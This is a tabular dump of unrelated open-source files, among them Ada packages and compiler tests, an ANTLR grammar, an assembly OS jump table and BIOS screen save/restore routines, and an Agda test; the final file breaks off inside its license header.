max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
registrar-implementation_hashing.ads | annexi-strayline/AURA | 13 | 16247 | ------------------------------------------------------------------------------
-- --
-- Ada User Repository Annex (AURA) --
-- Reference Implementation --
-- --
-- ------------------------------------------------------------------------ --
-- --
-- Copyright (C) 2020, ANNEXI-STRAYLINE Trans-Human Ltd. --
-- All rights reserved. --
-- --
-- Original Contributors: --
-- * <NAME> (ANNEXI-STRAYLINE) --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- --
-- * Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A --
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- This package manages the generation of collective Implementation_Hash
-- component of all Library_Units in the Registry that are not Requested.
--
-- The Implementation_Hash tracks which units can be recompiled without
-- recompiling units that depend on those units. If the implementation has been
-- modified, but the specification has not, only the bodies of the
-- implementation of that unit need to be recompiled.
with Progress;
with Registrar.Library_Units;
package Registrar.Implementation_Hashing is
procedure Hash_All;
procedure Hash_Configurations;
-- Hash_All is intended to be executed prior to the build phase of AURA,
-- and takes a subset of all Library_Units (including any Subunits)
-- that do not have a state of Requested.
--
-- Hash_Configurations is intended to be used during the checkout cycle
-- of AURA, and hases on the configuration and manifest units of each
-- Subsystem with a state of "Aquired"
--
-- For both executions, an appropriate library unit subset is generated and
-- work orders are dispatched to collect the hashes for the bodies and
-- subunits and enter them into the appropriate collection queue, which are
-- finally reduced to the collective hash, which is then set per library
-- unit (not for any subunits), and updated in the registry
--
-- To assist in Last_Run hash comparisons, Hash_Subset also copies the
-- Hash property of the Spec_File to the Specification_Hash property.
--
-- Note that for units that do not have bodies or subunits, the resulting
-- Implementation_Hash will not be valid, but the Specification_Hash will
-- still be copied-out. Similarily, for units such as subunits that do not
-- have specifications, Specification_Hash will not be valid.
--
-- Calling Hash_Subset when a pass is already running, but is not yet
-- complete, causes Program_Error to be propegated
-- Trackers --
--------------
Collection_Phase_Progress: aliased Progress.Progress_Tracker;
-- Collection_Phase_Progress tracks the number of units that have their
-- hashes collected. The total is equal to the size of the subset
-- (in Library_Units)
Crunch_Phase_Progress : aliased Progress.Progress_Tracker;
-- Crunch_Phase_Progress tracks the library units (excluding subunits) that
-- will receive a collective hash value for Implementation_Hash, and have
-- that hash updated in the Registry
-- Both trackers are set before work orders are submitted to the worker pool
-- and so waiting on Crunch_Phase_Progress may be done without first waiting
-- for Collection_Phase_Progress to complete
end Registrar.Implementation_Hashing;
|
grammar/MmParser.g4 | anterokangas/mmjs | 0 | 4210 | <gh_stars>0
parser grammar MmParser ;
options { tokenVocab=MmLexer ; }
mm : part* ;
part
: Text
| command
;
command
: CommandStart
( roleCommand
| callCommand
)
;
roleCommand : Role RoleName roleParameters RoleCommandEnd ;
roleParameters : roleParameter* ;
roleParameter
: RoleParameterStart
( RolePitch Integer IntegerParameterEnd
)
;
callCommand : CallName Text* CallCommandEnd ;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/atomic6_1.adb | best08618/asylo | 7 | 15496 | -- { dg-do compile }
-- { dg-options "-fdump-tree-gimple" }
with Atomic6_Pkg; use Atomic6_Pkg;
procedure Atomic6_1 is
Temp : Integer;
begin
Counter1 := Counter2;
Timer1 := Timer2;
Counter1 := Int(Timer1);
Timer1 := Integer(Counter1);
Temp := Integer(Counter1);
Counter1 := Int(Temp);
Temp := Timer1;
Timer1 := Temp;
end;
-- { dg-final { scan-tree-dump-times "atomic_load\[^\n\r\]*&atomic6_pkg__counter1" 2 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_load\[^\n\r\]*&atomic6_pkg__counter2" 1 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_load\[^\n\r\]*&atomic6_pkg__timer1" 2 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_load\[^\n\r\]*&atomic6_pkg__timer2" 1 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_load\[^\n\r\]*&temp" 0 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_load\[^\n\r\]*ptr" 0 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_store\[^\n\r\]*&atomic6_pkg__counter1" 3 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_store\[^\n\r\]*&atomic6_pkg__counter2" 0 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_store\[^\n\r\]*&atomic6_pkg__timer1" 3 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_store\[^\n\r\]*&atomic6_pkg__timer2" 0 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_store\[^\n\r\]*&temp" 0 "gimple"} }
-- { dg-final { scan-tree-dump-times "atomic_store\[^\n\r\]*ptr" 0 "gimple"} }
|
data/jpred4/jp_batch_1613899824__5DMLX6E/jp_batch_1613899824__5DMLX6E.als | jonriege/predict-protein-structure | 0 | 3489 | <reponame>jonriege/predict-protein-structure
SILENT_MODE
BLOCK_FILE jp_batch_1613899824__5DMLX6E.concise.blc
MAX_NSEQ 839
MAX_INPUT_LEN 841
OUTPUT_FILE jp_batch_1613899824__5DMLX6E.concise.ps
PORTRAIT
POINTSIZE 8
IDENT_WIDTH 12
X_OFFSET 2
Y_OFFSET 2
DEFINE_FONT 0 Helvetica DEFAULT
DEFINE_FONT 1 Helvetica REL 0.75
DEFINE_FONT 7 Helvetica REL 0.6
DEFINE_FONT 3 Helvetica-Bold DEFAULT
DEFINE_FONT 4 Times-Bold DEFAULT
DEFINE_FONT 5 Helvetica-BoldOblique DEFAULT
#
DEFINE_COLOUR 3 1 0.62 0.67 # Turquiose
DEFINE_COLOUR 4 1 1 0 # Yellow
DEFINE_COLOUR 5 1 0 0 # Red
DEFINE_COLOUR 7 1 0 1 # Purple
DEFINE_COLOUR 8 0 0 1 # Blue
DEFINE_COLOUR 9 0 1 0 # Green
DEFINE_COLOUR 10 0.41 0.64 1.00 # Pale blue
DEFINE_COLOUR 11 0.41 0.82 0.67 # Pale green
DEFINE_COLOUR 50 0.69 0.18 0.37 # Pink (helix)
DEFINE_COLOUR 51 1.00 0.89 0.00 # Gold (strand)
NUMBER_INT 10
SETUP
#
# Highlight specific residues.
# Avoid highlighting Lupas 'C' predictions by
# limiting the highlighting to the alignments
Scol_CHARS C 1 1 141 828 4
Ccol_CHARS H ALL 5
Ccol_CHARS P ALL 8
SURROUND_CHARS LIV ALL
#
# Replace known structure types with whitespace
SUB_CHARS 1 829 141 838 H SPACE
SUB_CHARS 1 829 141 838 E SPACE
SUB_CHARS 1 829 141 838 - SPACE
HELIX 4 832 19
COLOUR_TEXT_REGION 4 832 19 832 50
HELIX 21 832 37
COLOUR_TEXT_REGION 21 832 37 832 50
HELIX 39 832 41
COLOUR_TEXT_REGION 39 832 41 832 50
HELIX 53 832 71
COLOUR_TEXT_REGION 53 832 71 832 50
HELIX 76 832 89
COLOUR_TEXT_REGION 76 832 89 832 50
HELIX 99 832 112
COLOUR_TEXT_REGION 99 832 112 832 50
HELIX 119 832 138
COLOUR_TEXT_REGION 119 832 138 832 50
HELIX 4 837 19
COLOUR_TEXT_REGION 4 837 19 837 50
HELIX 21 837 42
COLOUR_TEXT_REGION 21 837 42 837 50
HELIX 53 837 71
COLOUR_TEXT_REGION 53 837 71 837 50
HELIX 76 837 88
COLOUR_TEXT_REGION 76 837 88 837 50
HELIX 98 837 112
COLOUR_TEXT_REGION 98 837 112 837 50
HELIX 119 837 139
COLOUR_TEXT_REGION 119 837 139 837 50
HELIX 4 838 17
COLOUR_TEXT_REGION 4 838 17 838 50
HELIX 23 838 36
COLOUR_TEXT_REGION 23 838 36 838 50
HELIX 53 838 71
COLOUR_TEXT_REGION 53 838 71 838 50
HELIX 76 838 90
COLOUR_TEXT_REGION 76 838 90 838 50
HELIX 101 838 111
COLOUR_TEXT_REGION 101 838 111 838 50
HELIX 119 838 138
COLOUR_TEXT_REGION 119 838 138 838 50
|
library_dir_dir/system_library_unbundled/source/pc_wsterm_.s.archive/save.asm | dancrossnyc/multics | 65 | 29813 | ; ***********************************************************
; * *
; * Copyright, (C) Honeywell Bull Inc., 1987 *
; * *
; * Copyright, (C) Honeywell Information Systems Inc., 1986 *
; * *
; ***********************************************************
; HISTORY COMMENTS:
; 1) change(88-03-22,Lee), approve(88-05-16,MCR7897), audit(88-09-19,Flegel):
; Created.
; 2) change(88-09-01,Lee), approve(88-05-16,MCR7897), audit(88-09-19,Flegel):
; Modified to get active page from BIOS segment rather
; than assuming page 0 is the active page.
; END HISTORY COMMENTS
;
;FUNCTION (save_screen,restore_screen)
;
; Save the contents of the display to a user-specified buffer.
; Restore the contents of the display from a user-specified buffer.
; Only the first 24 lines of the screen will be saved.
;
;*/
include dos.mac ;Lattice include file
;*******************************************************************
; DATA
;*******************************************************************
;define variables which are maintained by BIOS in the BIOS segment
BIOS_SEG SEGMENT AT 0040H
org 0050H
cursor_posn dw ? ; holds cursor coordinates kept by BIOS
org 0062H
active_page db ? ; contains current active page
BIOS_SEG ends
dseg
; constants
BIOS_VIDEO = 10h ; BIOS video interrupt call
BIOS_SET_CURSOR = 2 ; BIOS video set cursor position function number
BIOS_GET_CURSOR = 3 ; BIOS video get cursor position function number
BIOS_READ_CHR_ATTR = 8 ; BIOS video get character and attributes number
BIOS_WRITE_CHR_ATTR = 9 ; BIOS video write character and attributes number
DISPLAY_WIDTH = 80 ; number of columns across displayed
DISPLAY_HEIGHT = 24 ; number of lines displayed
endds
page
;**************************************************************************
; Program mainline
;**************************************************************************
;
pseg
public save_screen
public restore_screen
public get_active_page
; save_screen(buffer)
save_screen proc near
push bp ; save registers used
push di
push dx
push cx
push bx
push es
push si
mov bp,sp ; set up pointer to arguments
mov di,[bp+16] ; fetch argument (pointer to user-buffer)
mov ax,BIOS_SEG ; BIOS segment
mov es,ax ; use es to reference into BIOS segment
call get_active_page ; get active page in al
mov si,ax ; save active page in si
sal si,1 ; times 2 to index word offset
mov bh,al ; save current active page
mov ah,BIOS_GET_CURSOR ; get cursor position
int BIOS_VIDEO ; BIOS video interrupt
push dx ; save cursor coordinates
xor dx,dx ; set cursor position to 0,0
save_loop:
mov es:cursor_posn[si],dx ; get cursor coordinates
mov ah,BIOS_READ_CHR_ATTR ; get character and attribute at position
int BIOS_VIDEO
mov [di],ax ; save into buffer
inc di ; increment buffer pointer
inc di
inc dl ; increment column position
cmp dl,DISPLAY_WIDTH ; past 80th column?
jl save_loop
mov dl,0 ; reset column to 0
inc dh
cmp dh,DISPLAY_HEIGHT ; past 24th line?
jl save_loop ; repeat for next line if not
pop dx ; restore previous cursor coordinates
mov ah,BIOS_SET_CURSOR
int BIOS_VIDEO
pop si
pop es ; restore registers
pop bx
pop cx
pop dx
pop di
pop bp
ret ; return to caller
save_screen endp
; restore_screen(buffer)
restore_screen proc near
push bp ; save registers used
push di
push bx
push cx
push dx
push es
push si
mov bp,sp ; set up pointer to arguments
mov di,[bp+16] ; fetch argument (pointer to user buffer)
mov ax,BIOS_SEG ; BIOS segment
mov es,ax ; use es to reference into BIOS segment
call get_active_page ; get current active page in al
mov si,ax ; save active page in si
sal si,1 ; times 2 to index word offset
mov bh,al ; get from current active page
mov ah,BIOS_GET_CURSOR ; get cursor position
int BIOS_VIDEO ; BIOS video routine
push dx ; save cursor coordinates
xor dx,dx ; set cursor position to 0,0
mov cx,1 ; number of characters for writing character
restore_loop:
mov es:cursor_posn[si],dx ; get cursor coordinates
mov ax,[di] ; get character from buffer
mov bl,ah
mov ah,BIOS_WRITE_CHR_ATTR ; write character & attributes
int BIOS_VIDEO
inc di ; increment buffer pointer
inc di
inc dl ; increment column position
cmp dl,DISPLAY_WIDTH ; past 80th column?
jl restore_loop
mov dl,0 ; reset column to 0
inc dh
cmp dh,DISPLAY_HEIGHT ; past 24th line?
jl restore_loop ; repeat for next line if not
pop dx ; restore previous cursor coordinates
mov ah,BIOS_SET_CURSOR
int BIOS_VIDEO
pop si
pop es ; restore registers
pop dx
pop cx
pop bx
pop di
pop bp
ret ; return to caller
restore_screen endp
; get_active_page() - this routine returns the active page in register
; al; the active page is obtained from a variable in the BIOS segment.
get_active_page proc near
push es ; save segment register
mov ax,BIOS_SEG ; get address of BIOS segment
mov es,ax ; reference BIOS segment with es
mov al,es:active_page ; fetch active page from BIOS segment
pop es ; restore segment register
ret
get_active_page endp
endps
end
|
test/succeed/IrrelevantDataParameter.agda | asr/agda-kanso | 1 | 11505 | <reponame>asr/agda-kanso
{-# OPTIONS --experimental-irrelevance #-}
-- Andreas, 2011-04-15
-- {-# OPTIONS -v tc.data:20 #-}
module IrrelevantDataParameter where
postulate
A : Set
data K .(a : A) : Set where
c : K a
postulate
a : A
data K' .(b : A) : Set where
c : K' a
-- ok, since parameter irrelevant
-- 2011-09-09
postulate
_×_ : ..(A B : Set) -> Set
Lst : ..(A : Set) -> Set
nl : .(A : Set) -> Lst A
cns : .(A : Set) -> A × Lst A -> Lst A
-- cns' : .(A : Set) -> (a : A) -> (as : Lst A) -> Lst A -- not well-formed! |
examples/src/identity.adb | sonneveld/adazmq | 0 | 7355 | <filename>examples/src/identity.adb<gh_stars>0
-- Demonstrate request-reply identities
with Ada.Command_Line;
with Ada.Text_IO;
with GNAT.Formatted_String;
with ZMQ;
with ZHelper;
use type GNAT.Formatted_String.Formatted_String;
procedure Identity is
function Main return Ada.Command_Line.Exit_Status
is
Context : ZMQ.Context_Type := ZMQ.New_Context;
Sink : ZMQ.Socket_Type'Class := Context.New_Socket (ZMQ.ZMQ_ROUTER);
begin
Sink.Bind ("inproc://example");
-- First allow 0MQ to set the identity
declare
Anonymous : ZMQ.Socket_Type'Class := Context.New_Socket (ZMQ.ZMQ_REQ);
begin
Anonymous.Connect ("inproc://example");
Anonymous.Send ("ROUTER uses a generated UUID");
ZHelper.Dump (Sink);
Anonymous.Close;
end;
-- Then set the identity ourselves
declare
Identified : ZMQ.Socket_Type'Class := Context.New_Socket (ZMQ.ZMQ_REQ);
begin
Identified.Set_Sock_Opt (ZMQ.ZMQ_IDENTITY, "PEER2");
Identified.Connect ("inproc://example");
Identified.Send ("ROUTER socket uses REQ's socket identity");
ZHelper.Dump (Sink);
Identified.Close;
end;
Sink.Close;
Context.Term;
return 0;
end Main;
begin
Ada.Command_Line.Set_Exit_Status (Main);
end Identity;
|
src/jump-table.asm | beckadamtheinventor/BOSos | 1 | 14450 | <reponame>beckadamtheinventor/BOSos<filename>src/jump-table.asm<gh_stars>1-10
table:
; $=0020108h
jp handle_boot
jp handle_int
jp handle_rst10
jp handle_rst18
jp handle_rst20
jp handle_rst28
jp handle_rst30
; $=0020128
; $=002012Ch
;-------------------------------------------------------------------------------
; OS functions
;-------------------------------------------------------------------------------
jp sys_MemSet
jp sys_AddHLAndA
jp sys_HLToString
jp kb_Scan
jp kb_AnyKey
jp sys_GetKey
jp sys_WaitKey
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp flash_unlock
jp flash_lock
jp sys_WriteFlash
jp sys_EraseFlashSector
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
;-------------------------------------------------------------------------------
; string functions
;-------------------------------------------------------------------------------
jp strlen
jp strset
jp strcpy
jp strcmp
jp strupper
jp strlower
jp strncpy
jp strncmp
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
;-------------------------------------------------------------------------------
; VAT and Filesystem functions
;-------------------------------------------------------------------------------
jp fs_BuildVAT
jp fs_FindSym
jp fs_CreateFile
jp fs_GetC
jp fs_PutC
jp fs_Open
jp fs_Read
jp fs_Write
jp fs_Tell
jp fs_Seek
jp fs_Delete
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
;-------------------------------------------------------------------------------
; built-in graphics functions
;-------------------------------------------------------------------------------
jp gfx_Set8bpp
jp gfx_Set16bpp
jp gfx_InitStdPalette
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp gfx_PrintString
jp gfx_LcdClear
jp gfx_BufClear
jp gfx_BlitBuffer
jp gfx_PrintUInt
jp gfx_Compute
jp gfx_HorizLine
jp gfx_VertLine
jp gfx_Rectangle
jp gfx_FillRectangle
jp gfx_Sprite
jp gfx_PrintChar
jp gfx_NextLine
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
;-------------------------------------------------------------------------------
; C accessible filesystem functions
;-------------------------------------------------------------------------------
jp c_CloseAll
jp c_Open
jp DONOTHING
jp c_Close
jp c_Read
jp c_Write
jp c_GetC
jp c_PutC
jp c_Delete
jp DONOTHING
jp c_Seek
jp c_Resize
jp c_IsArchived
jp c_SetArchiveStatus
jp c_Tell
jp c_Rewind
jp c_GetSize
jp DONOTHING
jp DONOTHING ;maybe a detect function or two someday
jp DONOTHING
jp c_Rename
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
jp DONOTHING
|
source/calendar/machine-w64-mingw32/s-naexti.ads | ytomino/drake | 33 | 18237 | pragma License (Unrestricted);
-- implementation unit specialized for Windows
package System.Native_Execution_Time is
subtype CPU_Time is Duration;
function Clock return CPU_Time;
end System.Native_Execution_Time;
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cd/cd2a24e.ada | best08618/asylo | 7 | 9584 | -- CD2A24E.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT IF A SIZE CLAUSE AND AN ENUMERATION
-- REPRESENTATION CLAUSE ARE GIVEN FOR AN ENUMERATION TYPE,
-- AND THE SMALLEST SIZE APPROPRIATE FOR AN UNSIGNED REPRESENTATION
-- IS SPECIFIED, THEN OPERATIONS ON THE TYPE ARE NOT AFFECTED.
-- HISTORY:
-- JET 08/19/87 CREATED ORIGINAL TEST.
-- PWB 05/11/89 CHANGED EXTENSION FROM '.DEP' TO '.ADA'.
-- WMC 03/27/92 ELIMINATED TEST REDUNDANCIES.
WITH REPORT; USE REPORT;
PROCEDURE CD2A24E IS
BASIC_SIZE : CONSTANT := 3;
TYPE CHECK_TYPE IS (ZERO, ONE, TWO);
FOR CHECK_TYPE USE (ZERO => 3, ONE => 4,
TWO => 5);
FOR CHECK_TYPE'SIZE USE BASIC_SIZE;
C0 : CHECK_TYPE := ZERO;
C1 : CHECK_TYPE := ONE;
C2 : CHECK_TYPE := TWO;
TYPE ARRAY_TYPE IS ARRAY (0 .. 2) OF CHECK_TYPE;
CHARRAY : ARRAY_TYPE := (ZERO, ONE, TWO);
TYPE REC_TYPE IS RECORD
COMP0 : CHECK_TYPE := ZERO;
COMP1 : CHECK_TYPE := ONE;
COMP2 : CHECK_TYPE := TWO;
END RECORD;
CHREC : REC_TYPE;
FUNCTION IDENT (CH : CHECK_TYPE) RETURN CHECK_TYPE IS
BEGIN
IF EQUAL (3, 3) THEN
RETURN CH;
ELSE
RETURN ONE;
END IF;
END IDENT;
PROCEDURE PROC (CI0, CI2 : CHECK_TYPE;
CIO1, CIO2 : IN OUT CHECK_TYPE;
CO2 : OUT CHECK_TYPE) IS
BEGIN
IF NOT ((CI0 < IDENT (ONE)) AND
(IDENT (CI2) > IDENT (CIO1)) AND
(CIO1 <= IDENT (ONE)) AND(IDENT (TWO) = CI2)) THEN
FAILED ("INCORRECT RESULTS FOR RELATIONAL OPERATORS " &
"- 1");
END IF;
IF CHECK_TYPE'POS (CI0) /= IDENT_INT (0) OR
CHECK_TYPE'POS (CIO1) /= IDENT_INT (1) OR
CHECK_TYPE'POS (CI2) /= IDENT_INT (2) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'POS - 1");
END IF;
IF CHECK_TYPE'SUCC (CI0) /= IDENT (CIO1) OR
CHECK_TYPE'SUCC (CIO1) /= IDENT (CI2) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'SUCC - 1");
END IF;
IF CHECK_TYPE'IMAGE (CI0) /= IDENT_STR ("ZERO") OR
CHECK_TYPE'IMAGE (CIO1) /= IDENT_STR ("ONE") OR
CHECK_TYPE'IMAGE (CI2) /= IDENT_STR ("TWO") THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'IMAGE - 1");
END IF;
CO2 := TWO;
END PROC;
BEGIN
TEST ("CD2A24E", "CHECK THAT IF A SIZE CLAUSE AND AN ENUMERATION " &
"REPRESENTATION CLAUSE ARE GIVEN FOR AN " &
"ENUMERATION TYPE, AND THE SMALLEST SIZE " &
"APPROPRIATE FOR AN UNSIGNED REPRESENTATION " &
"IS SPECIFIED, THEN OPERATIONS ON THE TYPE " &
"ARE NOT AFFECTED");
PROC (ZERO, TWO, C1, C2, C2);
IF C1 /= ONE OR C2 /= TWO THEN
FAILED ("INCORRECT VALUE RETURNED BY PROCEDURE");
END IF;
IF CHECK_TYPE'SIZE /= IDENT_INT (BASIC_SIZE) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'SIZE");
END IF;
IF C0'SIZE < IDENT_INT (BASIC_SIZE) THEN
FAILED ("INCORRECT VALUE FOR C0'SIZE");
END IF;
IF NOT ((IDENT (C1) IN C1 .. C2) AND
(C0 NOT IN IDENT (ONE) .. C2)) THEN
FAILED ("INCORRECT RESULTS FOR MEMBERSHIP OPERATORS - 2");
END IF;
IF CHECK_TYPE'FIRST /= IDENT (ZERO) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'FIRST - 2");
END IF;
IF CHECK_TYPE'VAL (0) /= IDENT (C0) OR
CHECK_TYPE'VAL (1) /= IDENT (C1) OR
CHECK_TYPE'VAL (2) /= IDENT (C2) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'VAL - 2");
END IF;
IF CHECK_TYPE'PRED (C1) /= IDENT (C0) OR
CHECK_TYPE'PRED (C2) /= IDENT (C1) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'PRED - 2");
END IF;
IF CHECK_TYPE'VALUE ("ZERO") /= IDENT (C0) OR
CHECK_TYPE'VALUE ("ONE") /= IDENT (C1) OR
CHECK_TYPE'VALUE ("TWO") /= IDENT (C2) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'VALUE - 2");
END IF;
IF CHARRAY(1)'SIZE < IDENT_INT (BASIC_SIZE) THEN
FAILED ("INCORRECT VALUE FOR CHARRAY(1)'SIZE");
END IF;
IF NOT ((CHARRAY (0) < IDENT (ONE)) AND
(IDENT (CHARRAY (2)) > IDENT (CHARRAY (1))) AND
(CHARRAY (1) <= IDENT (ONE)) AND
(IDENT (TWO) = CHARRAY (2))) THEN
FAILED ("INCORRECT RESULTS FOR RELATIONAL OPERATORS - 3");
END IF;
IF NOT ((IDENT (CHARRAY (1)) IN CHARRAY (1) .. CHARRAY (2)) AND
(CHARRAY (0) NOT IN IDENT (ONE) .. CHARRAY (2))) THEN
FAILED ("INCORRECT RESULTS FOR MEMBERSHIP OPERATORS - 3");
END IF;
IF CHECK_TYPE'POS (CHARRAY (0)) /= IDENT_INT (0) OR
CHECK_TYPE'POS (CHARRAY (1)) /= IDENT_INT (1) OR
CHECK_TYPE'POS (CHARRAY (2)) /= IDENT_INT (2) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'POS - 3");
END IF;
IF CHECK_TYPE'SUCC (CHARRAY (0)) /= IDENT (CHARRAY (1)) OR
CHECK_TYPE'SUCC (CHARRAY (1)) /= IDENT (CHARRAY (2)) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'SUCC - 3");
END IF;
IF CHECK_TYPE'IMAGE (CHARRAY (0)) /= IDENT_STR ("ZERO") OR
CHECK_TYPE'IMAGE (CHARRAY (1)) /= IDENT_STR ("ONE") OR
CHECK_TYPE'IMAGE (CHARRAY (2)) /= IDENT_STR ("TWO") THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'IMAGE - 3");
END IF;
IF CHREC.COMP2'SIZE < IDENT_INT (BASIC_SIZE) THEN
FAILED ("INCORRECT VALUE FOR CHREC.COMP2'SIZE");
END IF;
IF NOT ((CHREC.COMP0 < IDENT (ONE)) AND
(IDENT (CHREC.COMP2) > IDENT (CHREC.COMP1)) AND
(CHREC.COMP1 <= IDENT (ONE)) AND
(IDENT (TWO) = CHREC.COMP2)) THEN
FAILED ("INCORRECT RESULTS FOR RELATIONAL OPERATORS - 4");
END IF;
IF NOT ((IDENT (CHREC.COMP1) IN CHREC.COMP1 .. CHREC.COMP2) AND
(CHREC.COMP0 NOT IN IDENT (ONE) .. CHREC.COMP2)) THEN
FAILED ("INCORRECT RESULTS FOR MEMBERSHIP OPERATORS - 4");
END IF;
IF CHECK_TYPE'VAL (0) /= IDENT (CHREC.COMP0) OR
CHECK_TYPE'VAL (1) /= IDENT (CHREC.COMP1) OR
CHECK_TYPE'VAL (2) /= IDENT (CHREC.COMP2) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'VAL - 4");
END IF;
IF CHECK_TYPE'PRED (CHREC.COMP1) /= IDENT (CHREC.COMP0) OR
CHECK_TYPE'PRED (CHREC.COMP2) /= IDENT (CHREC.COMP1) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'PRED - 4");
END IF;
IF CHECK_TYPE'VALUE ("ZERO") /= IDENT (CHREC.COMP0) OR
CHECK_TYPE'VALUE ("ONE") /= IDENT (CHREC.COMP1) OR
CHECK_TYPE'VALUE ("TWO") /= IDENT (CHREC.COMP2) THEN
FAILED ("INCORRECT VALUE FOR CHECK_TYPE'VALUE - 4");
END IF;
RESULT;
END CD2A24E;
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c3/c32107a.ada | best08618/asylo | 7 | 14697 | -- C32107A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
